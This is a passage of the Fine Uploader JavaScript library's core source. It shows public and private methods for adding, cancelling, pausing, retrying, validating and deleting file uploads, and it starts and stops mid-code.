                        data = Array.prototype.slice.call(data);
                    }
                    data = [].concat(data);
                }, self = this, verifiedFiles = [];
                this._currentBatchId = batchId;
                if (data) {
                    normalizeData();
                    qq.each(data, function(idx, fileContainer) {
                        if (qq.isFileOrInput(fileContainer)) {
                            processFileOrInput(fileContainer);
                        } else if (qq.isBlob(fileContainer)) {
                            processBlob(fileContainer);
                        } else if (qq.isObject(fileContainer)) {
                            if (fileContainer.blob && fileContainer.name) {
                                processBlobData(fileContainer);
                            } else if (fileContainer.canvas && fileContainer.name) {
                                processCanvasData(fileContainer);
                            }
                        } else if (fileContainer.tagName && fileContainer.tagName.toLowerCase() === "canvas") {
                            processCanvas(fileContainer);
                        } else {
                            self.log(fileContainer + " is not a valid file container!  Ignoring!", "warn");
                        }
                    });
                    this.log("Received " + verifiedFiles.length + " files.");
                    this._prepareItemsForUpload(verifiedFiles, params, endpoint);
                }
            },
            cancel: function(id) {
                this._handler.cancel(id);
            },
            cancelAll: function() {
                var storedIdsCopy = [], self = this;
                qq.extend(storedIdsCopy, this._storedIds);
                qq.each(storedIdsCopy, function(idx, storedFileId) {
                    self.cancel(storedFileId);
                });
                this._handler.cancelAll();
            },
            clearStoredFiles: function() {
                this._storedIds = [];
            },
            continueUpload: function(id) {
                var uploadData = this._uploadData.retrieve({
                    id: id
                });
                if (!qq.supportedFeatures.pause || !this._options.chunking.enabled) {
                    return false;
                }
                if (uploadData.status === qq.status.PAUSED) {
                    this.log(qq.format("Paused file ID {} ({}) will be continued.  Not paused.", id, this.getName(id)));
                    this._uploadFile(id);
                    return true;
                } else {
                    this.log(qq.format("Ignoring continue for file ID {} ({}).  Not paused.", id, this.getName(id)), "error");
                }
                return false;
            },
            deleteFile: function(id) {
                return this._onSubmitDelete(id);
            },
            doesExist: function(fileOrBlobId) {
                return this._handler.isValid(fileOrBlobId);
            },
            drawThumbnail: function(fileId, imgOrCanvas, maxSize, fromServer, customResizeFunction) {
                var promiseToReturn = new qq.Promise(), fileOrUrl, options;
                if (this._imageGenerator) {
                    fileOrUrl = this._thumbnailUrls[fileId];
                    options = {
                        customResizeFunction: customResizeFunction,
                        maxSize: maxSize > 0 ? maxSize : null,
                        scale: maxSize > 0
                    };
                    if (!fromServer && qq.supportedFeatures.imagePreviews) {
                        fileOrUrl = this.getFile(fileId);
                    }
                    if (fileOrUrl == null) {
                        promiseToReturn.failure({
                            container: imgOrCanvas,
                            error: "File or URL not found."
                        });
                    } else {
                        this._imageGenerator.generate(fileOrUrl, imgOrCanvas, options).then(function success(modifiedContainer) {
                            promiseToReturn.success(modifiedContainer);
                        }, function failure(container, reason) {
                            promiseToReturn.failure({
                                container: container,
                                error: reason || "Problem generating thumbnail"
                            });
                        });
                    }
                } else {
                    promiseToReturn.failure({
                        container: imgOrCanvas,
                        error: "Missing image generator module"
                    });
                }
                return promiseToReturn;
            },
            getButton: function(fileId) {
                return this._getButton(this._buttonIdsForFileIds[fileId]);
            },
            getEndpoint: function(fileId) {
                return this._endpointStore.get(fileId);
            },
            getFile: function(fileOrBlobId) {
                return this._handler.getFile(fileOrBlobId) || null;
            },
            getInProgress: function() {
                return this._uploadData.retrieve({
                    status: [ qq.status.UPLOADING, qq.status.UPLOAD_RETRYING, qq.status.QUEUED ]
                }).length;
            },
            getName: function(id) {
                return this._uploadData.retrieve({
                    id: id
                }).name;
            },
            getParentId: function(id) {
                var uploadDataEntry = this.getUploads({
                    id: id
                }), parentId = null;
                if (uploadDataEntry) {
                    if (uploadDataEntry.parentId !== undefined) {
                        parentId = uploadDataEntry.parentId;
                    }
                }
                return parentId;
            },
            getResumableFilesData: function() {
                return this._handler.getResumableFilesData();
            },
            getSize: function(id) {
                return this._uploadData.retrieve({
                    id: id
                }).size;
            },
            getNetUploads: function() {
                return this._netUploaded;
            },
            getRemainingAllowedItems: function() {
                var allowedItems = this._currentItemLimit;
                if (allowedItems > 0) {
                    return allowedItems - this._netUploadedOrQueued;
                }
                return null;
            },
            getUploads: function(optionalFilter) {
                return this._uploadData.retrieve(optionalFilter);
            },
            getUuid: function(id) {
                return this._uploadData.retrieve({
                    id: id
                }).uuid;
            },
            log: function(str, level) {
                if (this._options.debug && (!level || level === "info")) {
                    qq.log("[Fine Uploader " + qq.version + "] " + str);
                } else if (level && level !== "info") {
                    qq.log("[Fine Uploader " + qq.version + "] " + str, level);
                }
            },
            pauseUpload: function(id) {
                var uploadData = this._uploadData.retrieve({
                    id: id
                });
                if (!qq.supportedFeatures.pause || !this._options.chunking.enabled) {
                    return false;
                }
                if (qq.indexOf([ qq.status.UPLOADING, qq.status.UPLOAD_RETRYING ], uploadData.status) >= 0) {
                    if (this._handler.pause(id)) {
                        this._uploadData.setStatus(id, qq.status.PAUSED);
                        return true;
                    } else {
                        this.log(qq.format("Unable to pause file ID {} ({}).", id, this.getName(id)), "error");
                    }
                } else {
                    this.log(qq.format("Ignoring pause for file ID {} ({}).  Not in progress.", id, this.getName(id)), "error");
                }
                return false;
            },
            reset: function() {
                this.log("Resetting uploader...");
                this._handler.reset();
                this._storedIds = [];
                this._autoRetries = [];
                this._retryTimeouts = [];
                this._preventRetries = [];
                this._thumbnailUrls = [];
                qq.each(this._buttons, function(idx, button) {
                    button.reset();
                });
                this._paramsStore.reset();
                this._endpointStore.reset();
                this._netUploadedOrQueued = 0;
                this._netUploaded = 0;
                this._uploadData.reset();
                this._buttonIdsForFileIds = [];
                this._pasteHandler && this._pasteHandler.reset();
                this._options.session.refreshOnReset && this._refreshSessionData();
                this._succeededSinceLastAllComplete = [];
                this._failedSinceLastAllComplete = [];
                this._totalProgress && this._totalProgress.reset();
            },
            retry: function(id) {
                return this._manualRetry(id);
            },
            scaleImage: function(id, specs) {
                var self = this;
                return qq.Scaler.prototype.scaleImage(id, specs, {
                    log: qq.bind(self.log, self),
                    getFile: qq.bind(self.getFile, self),
                    uploadData: self._uploadData
                });
            },
            setCustomHeaders: function(headers, id) {
                this._customHeadersStore.set(headers, id);
            },
            setDeleteFileCustomHeaders: function(headers, id) {
                this._deleteFileCustomHeadersStore.set(headers, id);
            },
            setDeleteFileEndpoint: function(endpoint, id) {
                this._deleteFileEndpointStore.set(endpoint, id);
            },
            setDeleteFileParams: function(params, id) {
                this._deleteFileParamsStore.set(params, id);
            },
            setEndpoint: function(endpoint, id) {
                this._endpointStore.set(endpoint, id);
            },
            setForm: function(elementOrId) {
                this._updateFormSupportAndParams(elementOrId);
            },
            setItemLimit: function(newItemLimit) {
                this._currentItemLimit = newItemLimit;
            },
            setName: function(id, newName) {
                this._uploadData.updateName(id, newName);
            },
            setParams: function(params, id) {
                this._paramsStore.set(params, id);
            },
            setUuid: function(id, newUuid) {
                return this._uploadData.uuidChanged(id, newUuid);
            },
            uploadStoredFiles: function() {
                if (this._storedIds.length === 0) {
                    this._itemError("noFilesError");
                } else {
                    this._uploadStoredFiles();
                }
            }
        };
        qq.basePrivateApi = {
            _addCannedFile: function(sessionData) {
                var id = this._uploadData.addFile({
                    uuid: sessionData.uuid,
                    name: sessionData.name,
                    size: sessionData.size,
                    status: qq.status.UPLOAD_SUCCESSFUL
                });
                sessionData.deleteFileEndpoint && this.setDeleteFileEndpoint(sessionData.deleteFileEndpoint, id);
                sessionData.deleteFileParams && this.setDeleteFileParams(sessionData.deleteFileParams, id);
                if (sessionData.thumbnailUrl) {
                    this._thumbnailUrls[id] = sessionData.thumbnailUrl;
                }
                this._netUploaded++;
                this._netUploadedOrQueued++;
                return id;
            },
            _annotateWithButtonId: function(file, associatedInput) {
                if (qq.isFile(file)) {
                    file.qqButtonId = this._getButtonId(associatedInput);
                }
            },
            _batchError: function(message) {
                this._options.callbacks.onError(null, null, message, undefined);
            },
            _createDeleteHandler: function() {
                var self = this;
                return new qq.DeleteFileAjaxRequester({
                    method: this._options.deleteFile.method.toUpperCase(),
                    maxConnections: this._options.maxConnections,
                    uuidParamName: this._options.request.uuidName,
                    customHeaders: this._deleteFileCustomHeadersStore,
                    paramsStore: this._deleteFileParamsStore,
                    endpointStore: this._deleteFileEndpointStore,
                    cors: this._options.cors,
                    log: qq.bind(self.log, self),
                    onDelete: function(id) {
                        self._onDelete(id);
                        self._options.callbacks.onDelete(id);
                    },
                    onDeleteComplete: function(id, xhrOrXdr, isError) {
                        self._onDeleteComplete(id, xhrOrXdr, isError);
                        self._options.callbacks.onDeleteComplete(id, xhrOrXdr, isError);
                    }
                });
            },
            _createPasteHandler: function() {
                var self = this;
                return new qq.PasteSupport({
                    targetElement: this._options.paste.targetElement,
                    callbacks: {
                        log: qq.bind(self.log, self),
                        pasteReceived: function(blob) {
                            self._handleCheckedCallback({
                                name: "onPasteReceived",
                                callback: qq.bind(self._options.callbacks.onPasteReceived, self, blob),
                                onSuccess: qq.bind(self._handlePasteSuccess, self, blob),
                                identifier: "pasted image"
                            });
                        }
                    }
                });
            },
            _createStore: function(initialValue, _readOnlyValues_) {
                var store = {}, catchall = initialValue, perIdReadOnlyValues = {}, readOnlyValues = _readOnlyValues_, copy = function(orig) {
                    if (qq.isObject(orig)) {
                        return qq.extend({}, orig);
                    }
                    return orig;
                }, getReadOnlyValues = function() {
                    if (qq.isFunction(readOnlyValues)) {
                        return readOnlyValues();
                    }
                    return readOnlyValues;
                }, includeReadOnlyValues = function(id, existing) {
                    if (readOnlyValues && qq.isObject(existing)) {
                        qq.extend(existing, getReadOnlyValues());
                    }
                    if (perIdReadOnlyValues[id]) {
                        qq.extend(existing, perIdReadOnlyValues[id]);
                    }
                };
                return {
                    set: function(val, id) {
                        if (id == null) {
                            store = {};
                            catchall = copy(val);
                        } else {
                            store[id] = copy(val);
                        }
                    },
                    get: function(id) {
                        var values;
                        if (id != null && store[id]) {
                            values = store[id];
                        } else {
                            values = copy(catchall);
                        }
                        includeReadOnlyValues(id, values);
                        return copy(values);
                    },
                    addReadOnly: function(id, values) {
                        if (qq.isObject(store)) {
                            if (id === null) {
                                if (qq.isFunction(values)) {
                                    readOnlyValues = values;
                                } else {
                                    readOnlyValues = readOnlyValues || {};
                                    qq.extend(readOnlyValues, values);
                                }
                            } else {
                                perIdReadOnlyValues[id] = perIdReadOnlyValues[id] || {};
                                qq.extend(perIdReadOnlyValues[id], values);
                            }
                        }
                    },
                    remove: function(fileId) {
                        return delete store[fileId];
                    },
                    reset: function() {
                        store = {};
                        perIdReadOnlyValues = {};
                        catchall = initialValue;
                    }
                };
            },
            _createUploadDataTracker: function() {
                var self = this;
                return new qq.UploadData({
                    getName: function(id) {
                        return self.getName(id);
                    },
                    getUuid: function(id) {
                        return self.getUuid(id);
                    },
                    getSize: function(id) {
                        return self.getSize(id);
                    },
                    onStatusChange: function(id, oldStatus, newStatus) {
                        self._onUploadStatusChange(id, oldStatus, newStatus);
                        self._options.callbacks.onStatusChange(id, oldStatus, newStatus);
                        self._maybeAllComplete(id, newStatus);
                        if (self._totalProgress) {
                            setTimeout(function() {
                                self._totalProgress.onStatusChange(id, oldStatus, newStatus);
                            }, 0);
                        }
                    }
                });
            },
            _createUploadButton: function(spec) {
                var self = this, acceptFiles = spec.accept || this._options.validation.acceptFiles, allowedExtensions = spec.allowedExtensions || this._options.validation.allowedExtensions, button;
                function allowMultiple() {
                    if (qq.supportedFeatures.ajaxUploading) {
                        if (self._options.workarounds.iosEmptyVideos && qq.ios() && !qq.ios6() && self._isAllowedExtension(allowedExtensions, ".mov")) {
                            return false;
                        }
                        if (spec.multiple === undefined) {
                            return self._options.multiple;
                        }
                        return spec.multiple;
                    }
                    return false;
                }
                button = new qq.UploadButton({
                    acceptFiles: acceptFiles,
                    element: spec.element,
                    focusClass: this._options.classes.buttonFocus,
                    folders: spec.folders,
                    hoverClass: this._options.classes.buttonHover,
                    ios8BrowserCrashWorkaround: this._options.workarounds.ios8BrowserCrash,
                    multiple: allowMultiple(),
                    name: this._options.request.inputName,
                    onChange: function(input) {
                        self._onInputChange(input);
                    },
                    title: spec.title == null ? this._options.text.fileInputTitle : spec.title
                });
                this._disposeSupport.addDisposer(function() {
                    button.dispose();
                });
                self._buttons.push(button);
                return button;
            },
            _createUploadHandler: function(additionalOptions, namespace) {
                var self = this, lastOnProgress = {}, options = {
                    debug: this._options.debug,
                    maxConnections: this._options.maxConnections,
                    cors: this._options.cors,
                    paramsStore: this._paramsStore,
                    endpointStore: this._endpointStore,
                    chunking: this._options.chunking,
                    resume: this._options.resume,
                    blobs: this._options.blobs,
                    log: qq.bind(self.log, self),
                    preventRetryParam: this._options.retry.preventRetryResponseProperty,
                    onProgress: function(id, name, loaded, total) {
                        if (loaded < 0 || total < 0) {
                            return;
                        }
                        if (lastOnProgress[id]) {
                            if (lastOnProgress[id].loaded !== loaded || lastOnProgress[id].total !== total) {
                                self._onProgress(id, name, loaded, total);
                                self._options.callbacks.onProgress(id, name, loaded, total);
                            }
                        } else {
                            self._onProgress(id, name, loaded, total);
                            self._options.callbacks.onProgress(id, name, loaded, total);
                        }
                        lastOnProgress[id] = {
                            loaded: loaded,
                            total: total
                        };
                    },
                    onComplete: function(id, name, result, xhr) {
                        delete lastOnProgress[id];
                        var status = self.getUploads({
                            id: id
                        }).status, retVal;
                        if (status === qq.status.UPLOAD_SUCCESSFUL || status === qq.status.UPLOAD_FAILED) {
                            return;
                        }
                        retVal = self._onComplete(id, name, result, xhr);
                        if (retVal instanceof qq.Promise) {
                            retVal.done(function() {
                                self._options.callbacks.onComplete(id, name, result, xhr);
                            });
                        } else {
                            self._options.callbacks.onComplete(id, name, result, xhr);
                        }
                    },
                    onCancel: function(id, name, cancelFinalizationEffort) {
                        var promise = new qq.Promise();
                        self._handleCheckedCallback({
                            name: "onCancel",
                            callback: qq.bind(self._options.callbacks.onCancel, self, id, name),
                            onFailure: promise.failure,
                            onSuccess: function() {
                                cancelFinalizationEffort.then(function() {
                                    self._onCancel(id, name);
                                });
                                promise.success();
                            },
                            identifier: id
                        });
                        return promise;
                    },
                    onUploadPrep: qq.bind(this._onUploadPrep, this),
                    onUpload: function(id, name) {
                        self._onUpload(id, name);
                        self._options.callbacks.onUpload(id, name);
                    },
                    onUploadChunk: function(id, name, chunkData) {
                        self._onUploadChunk(id, chunkData);
                        self._options.callbacks.onUploadChunk(id, name, chunkData);
                    },
                    onUploadChunkSuccess: function(id, chunkData, result, xhr) {
                        self._options.callbacks.onUploadChunkSuccess.apply(self, arguments);
                    },
                    onResume: function(id, name, chunkData) {
                        return self._options.callbacks.onResume(id, name, chunkData);
                    },
                    onAutoRetry: function(id, name, responseJSON, xhr) {
                        return self._onAutoRetry.apply(self, arguments);
                    },
                    onUuidChanged: function(id, newUuid) {
                        self.log("Server requested UUID change from '" + self.getUuid(id) + "' to '" + newUuid + "'");
                        self.setUuid(id, newUuid);
                    },
                    getName: qq.bind(self.getName, self),
                    getUuid: qq.bind(self.getUuid, self),
                    getSize: qq.bind(self.getSize, self),
                    setSize: qq.bind(self._setSize, self),
                    getDataByUuid: function(uuid) {
                        return self.getUploads({
                            uuid: uuid
                        });
                    },
                    isQueued: function(id) {
                        var status = self.getUploads({
                            id: id
                        }).status;
                        return status === qq.status.QUEUED || status === qq.status.SUBMITTED || status === qq.status.UPLOAD_RETRYING || status === qq.status.PAUSED;
                    },
                    getIdsInProxyGroup: self._uploadData.getIdsInProxyGroup,
                    getIdsInBatch: self._uploadData.getIdsInBatch
                };
                qq.each(this._options.request, function(prop, val) {
                    options[prop] = val;
                });
                options.customHeaders = this._customHeadersStore;
                if (additionalOptions) {
                    qq.each(additionalOptions, function(key, val) {
                        options[key] = val;
                    });
                }
                return new qq.UploadHandlerController(options, namespace);
            },
            _fileOrBlobRejected: function(id) {
                this._netUploadedOrQueued--;
                this._uploadData.setStatus(id, qq.status.REJECTED);
            },
            _formatSize: function(bytes) {
                var i = -1;
                do {
                    bytes = bytes / 1e3;
                    i++;
                } while (bytes > 999);
                return Math.max(bytes, .1).toFixed(1) + this._options.text.sizeSymbols[i];
            },
            _generateExtraButtonSpecs: function() {
                var self = this;
                this._extraButtonSpecs = {};
                qq.each(this._options.extraButtons, function(idx, extraButtonOptionEntry) {
                    var multiple = extraButtonOptionEntry.multiple, validation = qq.extend({}, self._options.validation, true), extraButtonSpec = qq.extend({}, extraButtonOptionEntry);
                    if (multiple === undefined) {
                        multiple = self._options.multiple;
                    }
                    if (extraButtonSpec.validation) {
                        qq.extend(validation, extraButtonOptionEntry.validation, true);
                    }
                    qq.extend(extraButtonSpec, {
                        multiple: multiple,
                        validation: validation
                    }, true);
                    self._initExtraButton(extraButtonSpec);
                });
            },
            _getButton: function(buttonId) {
                var extraButtonsSpec = this._extraButtonSpecs[buttonId];
                if (extraButtonsSpec) {
                    return extraButtonsSpec.element;
                } else if (buttonId === this._defaultButtonId) {
                    return this._options.button;
                }
            },
            _getButtonId: function(buttonOrFileInputOrFile) {
                var inputs, fileInput, fileBlobOrInput = buttonOrFileInputOrFile;
                if (fileBlobOrInput instanceof qq.BlobProxy) {
                    fileBlobOrInput = fileBlobOrInput.referenceBlob;
                }
                if (fileBlobOrInput && !qq.isBlob(fileBlobOrInput)) {
                    if (qq.isFile(fileBlobOrInput)) {
                        return fileBlobOrInput.qqButtonId;
                    } else if (fileBlobOrInput.tagName.toLowerCase() === "input" && fileBlobOrInput.type.toLowerCase() === "file") {
                        return fileBlobOrInput.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);
                    }
                    inputs = fileBlobOrInput.getElementsByTagName("input");
                    qq.each(inputs, function(idx, input) {
                        if (input.getAttribute("type") === "file") {
                            fileInput = input;
                            return false;
                        }
                    });
                    if (fileInput) {
                        return fileInput.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);
                    }
                }
            },
            _getNotFinished: function() {
                return this._uploadData.retrieve({
                    status: [ qq.status.UPLOADING, qq.status.UPLOAD_RETRYING, qq.status.QUEUED, qq.status.SUBMITTING, qq.status.SUBMITTED, qq.status.PAUSED ]
                }).length;
            },
            _getValidationBase: function(buttonId) {
                var extraButtonSpec = this._extraButtonSpecs[buttonId];
                return extraButtonSpec ? extraButtonSpec.validation : this._options.validation;
            },
            _getValidationDescriptor: function(fileWrapper) {
                if (fileWrapper.file instanceof qq.BlobProxy) {
                    return {
                        name: qq.getFilename(fileWrapper.file.referenceBlob),
                        size: fileWrapper.file.referenceBlob.size
                    };
                }
                return {
                    name: this.getUploads({
                        id: fileWrapper.id
                    }).name,
                    size: this.getUploads({
                        id: fileWrapper.id
                    }).size
                };
            },
            _getValidationDescriptors: function(fileWrappers) {
                var self = this, fileDescriptors = [];
                qq.each(fileWrappers, function(idx, fileWrapper) {
                    fileDescriptors.push(self._getValidationDescriptor(fileWrapper));
                });
                return fileDescriptors;
            },
            _handleCameraAccess: function() {
                if (this._options.camera.ios && qq.ios()) {
                    var acceptIosCamera = "image/*;capture=camera", button = this._options.camera.button, buttonId = button ? this._getButtonId(button) : this._defaultButtonId, optionRoot = this._options;
                    if (buttonId && buttonId !== this._defaultButtonId) {
                        optionRoot = this._extraButtonSpecs[buttonId];
                    }
                    optionRoot.multiple = false;
                    if (optionRoot.validation.acceptFiles === null) {
                        optionRoot.validation.acceptFiles = acceptIosCamera;
                    } else {
                        optionRoot.validation.acceptFiles += "," + acceptIosCamera;
                    }
                    qq.each(this._buttons, function(idx, button) {
                        if (button.getButtonId() === buttonId) {
                            button.setMultiple(optionRoot.multiple);
                            button.setAcceptFiles(optionRoot.acceptFiles);
                            return false;
                        }
                    });
                }
            },
            _handleCheckedCallback: function(details) {
                var self = this, callbackRetVal = details.callback();
                if (qq.isGenericPromise(callbackRetVal)) {
                    this.log(details.name + " - waiting for " + details.name + " promise to be fulfilled for " + details.identifier);
                    return callbackRetVal.then(function(successParam) {
                        self.log(details.name + " promise success for " + details.identifier);
                        details.onSuccess(successParam);
                    }, function() {
                        if (details.onFailure) {
                            self.log(details.name + " promise failure for " + details.identifier);
                            details.onFailure();
                        } else {
                            self.log(details.name + " promise failure for " + details.identifier);
                        }
                    });
                }
                if (callbackRetVal !== false) {
                    details.onSuccess(callbackRetVal);
                } else {
                    if (details.onFailure) {
                        this.log(details.name + " - return value was 'false' for " + details.identifier + ".  Invoking failure callback.");
                        details.onFailure();
                    } else {
                        this.log(details.name + " - return value was 'false' for " + details.identifier + ".  Will not proceed.");
                    }
                }
                return callbackRetVal;
            },
            _handleNewFile: function(file, batchId, newFileWrapperList) {
                var self = this, uuid = qq.getUniqueId(), size = -1, name = qq.getFilename(file), actualFile = file.blob || file, handler = this._customNewFileHandler ? this._customNewFileHandler : qq.bind(self._handleNewFileGeneric, self);
                if (!qq.isInput(actualFile) && actualFile.size >= 0) {
                    size = actualFile.size;
                }
                handler(actualFile, name, uuid, size, newFileWrapperList, batchId, this._options.request.uuidName, {
                    uploadData: self._uploadData,
                    paramsStore: self._paramsStore,
                    addFileToHandler: function(id, file) {
                        self._handler.add(id, file);
                        self._netUploadedOrQueued++;
                        self._trackButton(id);
                    }
                });
            },
            _handleNewFileGeneric: function(file, name, uuid, size, fileList, batchId) {
                var id = this._uploadData.addFile({
                    uuid: uuid,
                    name: name,
                    size: size,
                    batchId: batchId
                });
                this._handler.add(id, file);
                this._trackButton(id);
                this._netUploadedOrQueued++;
                fileList.push({
                    id: id,
                    file: file
                });
            },
            _handlePasteSuccess: function(blob, extSuppliedName) {
                var extension = blob.type.split("/")[1], name = extSuppliedName;
                if (name == null) {
                    name = this._options.paste.defaultName;
                }
                name += "." + extension;
                this.addFiles({
                    name: name,
                    blob: blob
                });
            },
            _initExtraButton: function(spec) {
                var button = this._createUploadButton({
                    accept: spec.validation.acceptFiles,
                    allowedExtensions: spec.validation.allowedExtensions,
                    element: spec.element,
                    folders: spec.folders,
                    multiple: spec.multiple,
                    title: spec.fileInputTitle
                });
                this._extraButtonSpecs[button.getButtonId()] = spec;
            },
            _initFormSupportAndParams: function() {
                this._formSupport = qq.FormSupport && new qq.FormSupport(this._options.form, qq.bind(this.uploadStoredFiles, this), qq.bind(this.log, this));
                if (this._formSupport && this._formSupport.attachedToForm) {
                    this._paramsStore = this._createStore(this._options.request.params, this._formSupport.getFormInputsAsObject);
                    this._options.autoUpload = this._formSupport.newAutoUpload;
                    if (this._formSupport.newEndpoint) {
                        this._options.request.endpoint = this._formSupport.newEndpoint;
                    }
                } else {
                    this._paramsStore = this._createStore(this._options.request.params);
                }
            },
            _isDeletePossible: function() {
                if (!qq.DeleteFileAjaxRequester || !this._options.deleteFile.enabled) {
                    return false;
                }
                if (this._options.cors.expected) {
                    if (qq.supportedFeatures.deleteFileCorsXhr) {
                        return true;
                    }
                    if (qq.supportedFeatures.deleteFileCorsXdr && this._options.cors.allowXdr) {
                        return true;
                    }
                    return false;
                }
                return true;
            },
            _isAllowedExtension: function(allowed, fileName) {
                var valid = false;
                if (!allowed.length) {
                    return true;
                }
                qq.each(allowed, function(idx, allowedExt) {
                    if (qq.isString(allowedExt)) {
                        var extRegex = new RegExp("\\." + allowedExt + "$", "i");
                        if (fileName.match(extRegex) != null) {
                            valid = true;
                            return false;
                        }
                    }
                });
                return valid;
            },
            _itemError: function(code, maybeNameOrNames, item) {
                var message = this._options.messages[code], allowedExtensions = [], names = [].concat(maybeNameOrNames), name = names[0], buttonId = this._getButtonId(item), validationBase = this._getValidationBase(buttonId), extensionsForMessage, placeholderMatch;
                function r(name, replacement) {
                    message = message.replace(name, replacement);
                }
                qq.each(validationBase.allowedExtensions, function(idx, allowedExtension) {
                    if (qq.isString(allowedExtension)) {
                        allowedExtensions.push(allowedExtension);
                    }
                });
                extensionsForMessage = allowedExtensions.join(", ").toLowerCase();
                r("{file}", this._options.formatFileName(name));
                r("{extensions}", extensionsForMessage);
                r("{sizeLimit}", this._formatSize(validationBase.sizeLimit));
                r("{minSizeLimit}", this._formatSize(validationBase.minSizeLimit));
                placeholderMatch = message.match(/(\{\w+\})/g);
                if (placeholderMatch !== null) {
                    qq.each(placeholderMatch, function(idx, placeholder) {
                        r(placeholder, names[idx]);
                    });
                }
                this._options.callbacks.onError(null, name, message, undefined);
                return message;
            },
            _manualRetry: function(id, callback) {
                if (this._onBeforeManualRetry(id)) {
                    this._netUploadedOrQueued++;
                    this._uploadData.setStatus(id, qq.status.UPLOAD_RETRYING);
                    if (callback) {
                        callback(id);
                    } else {
                        this._handler.retry(id);
                    }
                    return true;
                }
            },
            _maybeAllComplete: function(id, status) {
                var self = this, notFinished = this._getNotFinished();
                if (status === qq.status.UPLOAD_SUCCESSFUL) {
                    this._succeededSinceLastAllComplete.push(id);
                } else if (status === qq.status.UPLOAD_FAILED) {
                    this._failedSinceLastAllComplete.push(id);
                }
                if (notFinished === 0 && (this._succeededSinceLastAllComplete.length || this._failedSinceLastAllComplete.length)) {
                    setTimeout(function() {
                        self._onAllComplete(self._succeededSinceLastAllComplete, self._failedSinceLastAllComplete);
                    }, 0);
                }
            },
            _maybeHandleIos8SafariWorkaround: function() {
                var self = this;
                if (this._options.workarounds.ios8SafariUploads && qq.ios800() && qq.iosSafari()) {
                    setTimeout(function() {
                        window.alert(self._options.messages.unsupportedBrowserIos8Safari);
                    }, 0);
                    throw new qq.Error(this._options.messages.unsupportedBrowserIos8Safari);
                }
            },
            _maybeParseAndSendUploadError: function(id, name, response, xhr) {
                if (!response.success) {
                    if (xhr && xhr.status !== 200 && !response.error) {
                        this._options.callbacks.onError(id, name, "XHR returned response code " + xhr.status, xhr);
                    } else {
                        var errorReason = response.error ? response.error : this._options.text.defaultResponseError;
                        this._options.callbacks.onError(id, name, errorReason, xhr);
                    }
                }
            },
            _maybeProcessNextItemAfterOnValidateCallback: function(validItem, items, index, params, endpoint) {
                var self = this;
                if (items.length > index) {
                    if (validItem || !this._options.validation.stopOnFirstInvalidFile) {
                        setTimeout(function() {
                            var validationDescriptor = self._getValidationDescriptor(items[index]), buttonId = self._getButtonId(items[index].file), button = self._getButton(buttonId);
                            self._handleCheckedCallback({
                                name: "onValidate",
                                callback: qq.bind(self._options.callbacks.onValidate, self, validationDescriptor, button),
                                onSuccess: qq.bind(self._onValidateCallbackSuccess, self, items, index, params, endpoint),
                                onFailure: qq.bind(self._onValidateCallbackFailure, self, items, index, params, endpoint),
                                identifier: "Item '" + validationDescriptor.name + "', size: " + validationDescriptor.size
                            });
                        }, 0);
                    } else if (!validItem) {
                        for (;index < items.length; index++) {
                            self._fileOrBlobRejected(items[index].id);
                        }
                    }
                }
            },
            _onAllComplete: function(successful, failed) {
                this._totalProgress && this._totalProgress.onAllComplete(successful, failed, this._preventRetries);
                this._options.callbacks.onAllComplete(qq.extend([], successful), qq.extend([], failed));
                this._succeededSinceLastAllComplete = [];
                this._failedSinceLastAllComplete = [];
            },
            _onAutoRetry: function(id, name, responseJSON, xhr, callback) {
                var self = this;
                self._preventRetries[id] = responseJSON[self._options.retry.preventRetryResponseProperty];
                if (self._shouldAutoRetry(id, name, responseJSON)) {
                    self._maybeParseAndSendUploadError.apply(self, arguments);
                    self._options.callbacks.onAutoRetry(id, name, self._autoRetries[id]);
                    self._onBeforeAutoRetry(id, name);
                    self._retryTimeouts[id] = setTimeout(function() {
                        self.log("Retrying " + name + "...");
                        self._uploadData.setStatus(id, qq.status.UPLOAD_RETRYING);
                        if (callback) {
                            callback(id);
                        } else {
                            self._handler.retry(id);
                        }
                    }, self._options.retry.autoAttemptDelay * 1e3);
                    return true;
                }
            },
            _onBeforeAutoRetry: function(id, name) {
                this.log("Waiting " + this._options.retry.autoAttemptDelay + " seconds before retrying " + name + "...");
            },
            _onBeforeManualRetry: function(id) {
                var itemLimit = this._currentItemLimit, fileName;
                if (this._preventRetries[id]) {
                    this.log("Retries are forbidden for id " + id, "warn");
                    return false;
                } else if (this._handler.isValid(id)) {
                    fileName = this.getName(id);
                    if (this._options.callbacks.onManualRetry(id, fileName) === false) {
                        return false;
                    }
                    if (itemLimit > 0 && this._netUploadedOrQueued + 1 > itemLimit) {
                        this._itemError("retryFailTooManyItems");
                        return false;
                    }
                    this.log("Retrying upload for '" + fileName + "' (id: " + id + ")...");
                    return true;
                } else {
                    this.log("'" + id + "' is not a valid file ID", "error");
                    return false;
                }
            },
            _onCancel: function(id, name) {
                this._netUploadedOrQueued--;
                clearTimeout(this._retryTimeouts[id]);
                var storedItemIndex = qq.indexOf(this._storedIds, id);
                if (!this._options.autoUpload && storedItemIndex >= 0) {
                    this._storedIds.splice(storedItemIndex, 1);
                }
                this._uploadData.setStatus(id, qq.status.CANCELED);
            },
            _onComplete: function(id, name, result, xhr) {
                if (!result.success) {
                    this._netUploadedOrQueued--;
                    this._uploadData.setStatus(id, qq.status.UPLOAD_FAILED);
                    if (result[this._options.retry.preventRetryResponseProperty] === true) {
                        this._preventRetries[id] = true;
                    }
                } else {
                    if (result.thumbnailUrl) {
                        this._thumbnailUrls[id] = result.thumbnailUrl;
                    }
                    this._netUploaded++;
                    this._uploadData.setStatus(id, qq.status.UPLOAD_SUCCESSFUL);
                }
                this._maybeParseAndSendUploadError(id, name, result, xhr);
                return result.success ? true : false;
            },
            _onDelete: function(id) {
                this._uploadData.setStatus(id, qq.status.DELETING);
            },
            _onDeleteComplete: function(id, xhrOrXdr, isError) {
                var name = this.getName(id);
                if (isError) {
                    this._uploadData.setStatus(id, qq.status.DELETE_FAILED);
                    this.log("Delete request for '" + name + "' has failed.", "error");
                    if (xhrOrXdr.withCredentials === undefined) {
                        this._options.callbacks.onError(id, name, "Delete request failed", xhrOrXdr);
                    } else {
                        this._options.callbacks.onError(id, name, "Delete request failed with response code " + xhrOrXdr.status, xhrOrXdr);
                    }
                } else {
                    this._netUploadedOrQueued--;
                    this._netUploaded--;
                    this._handler.expunge(id);
                    this._uploadData.setStatus(id, qq.status.DELETED);
                    this.log("Delete request for '" + name + "' has succeeded.");
                }
            },
